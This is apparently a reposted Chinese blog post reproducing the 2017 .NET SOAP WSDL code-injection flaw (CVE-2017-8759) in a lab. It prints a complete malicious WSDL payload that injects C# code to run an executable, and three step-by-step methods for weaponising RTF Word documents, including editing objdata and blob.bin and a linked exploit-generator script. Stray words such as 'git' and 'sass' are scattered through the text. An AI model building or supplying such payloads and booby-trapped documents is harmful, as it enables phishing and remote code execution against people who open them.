.NET框架0Day漏洞CVE-2017-8759復現過程

漏洞概述

FireEye最近檢測到一個惡意的Microsoft Office RTF文檔,利用CVE-2017-8759(一種SOAP WSDL解析器代碼注入漏洞)。此漏洞容許在解析SOAP WSDL定義內容期間注入任意代碼。
html

基本信息

漏洞名稱:.NET Framework遠程代碼執行漏洞
漏洞編號:CVE-2017-8759
漏洞影響:.NET系列產品的遠程代碼執行(RCE)並進一步控制系統
利用場景:遠程釣魚、社會工程
影響版本:如下.NET版本
       Microsoft .NET Framework 4.6.2
       Microsoft .NET Framework 4.6.1
       Microsoft .NET Framework 3.5.1
       Microsoft .NET Framework 4.7
       Microsoft .NET Framework 4.6
       Microsoft .NET Framework 4.5.2
       Microsoft .NET Framework 3.5
       Microsoft .NET Framework 2.0 SP2
影響產品:Office(word excel)Edge IE WinOS Skype Lync Sharepointpython

漏洞利用點

PrintClientProxy方法中的WSDL解析器模塊中存在代碼注入漏洞。若是提供的包含CRLF序列的數據,則IsValidUrl不會執行正確的驗證。這就形成了攻擊者注入和執行任意代碼。git

這裏不詳細介紹了(由於我也不懂),能夠參考火眼和360的分析。github

本地測試

利用過程

方法一

新建一個圖片文件,名字爲office.png(其餘格式也行),內容爲:web

<definitions 
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="http://localhost?C:\Windows\System32\calc.exe?011"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
</port>
</service>
</definitions>

 

而後放在web目錄。
根據樣本文件,發現是在word文檔中添加一個SOAP標記。
格式爲soap:wsdl=http://192.168.135.135/office/office.png
本次以樣本爲例,而後修改其中的地址。
樣本文件sass

分別用樣本和本身的web地址生成特hex格式的地址,而後將樣本中的地址更換爲本身的地址便可。(注意替換的長度需保持一致)測試

生成hex格式的地址

樣本文件最重要的是倒數第三行(看起來是空白),而後能夠將上面無用的內容所有刪除,只留下最後三行。url

替換地址後的內容

而後就是打開該word文檔,就能夠看到計算器彈出。但實現的過程有點問題,就是必須點更新連接纔會觸發(即便將添加objupdate仍是不行)。spa

執行效果

方法二

參考https://github.com/vysec/CVE-2017-8759
新建o.png,內容爲:excel

o.png內容

word.db內容:
word.db內容

新建一個rtf文檔,隨意插入一個對象。例如http://192.168.135.135/office/o.png (這是爲了下面替換objdata內容)
用記事本打開,將\object\objautlink\rsltpict修改成\object\objautlink\objupdate\rsltpict
打開blob.bin文件

blob.bin源文件
將其中的地址修改成http://192.168.135.135/office/o.png
複製原來的地址,儘可能多複製點空格。
替換過程1

而後生成新的hex地址
生成新的地址

而後用生成的地址替換blob.bin中的地址
替換後的blob.bin文件
而後將blob.bin中的內容替換word文檔的objdata內容。
而後打開word文檔,就會有神奇的事情發生。
執行效果2

惡意軟件將被放置在C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\OfficeUpdte-KB[6個隨機數字].exe

以上均在虛擬機上測試。沒有使用樣本中的left.jpg。最後結果確實如火眼所說的那樣生成了OfficeUpdte-KB******.exe文件。在win10(真機)上測試的時候還生成了http1001924168413541350office0office4png.pdb、http1001924168413541350office0office4png.dll和Logo.cs三個文件。
這裏方法一沒有直接執行的緣由我也不太清楚,可是用方法二插入office.png,也是不會直接執行的。若是方法一和二中過程替換一下,效果也是同樣的。

方法三

下載腳本https://github.com/fupinglee/MyPython/blob/master/exploit/CVE-2017-8759/CVE-2017-8759_exploit_rtf.py

使用方法:python CVE-2017-8759_exploit_rtf.py http://192.168.135.135/office/office.png
會在當前目錄生成文件cve-2017-8759.rtf,打開便可。

根據CVE-2017-0199的腳本改寫而來,僅僅保留並修改了生成文件的代碼。

參考連接

[1].https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
[2].http://mp.weixin.qq.com/s/_rfRtj6da1nowI4qMmkLaA
[3].https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/

相關文章
相關標籤/搜索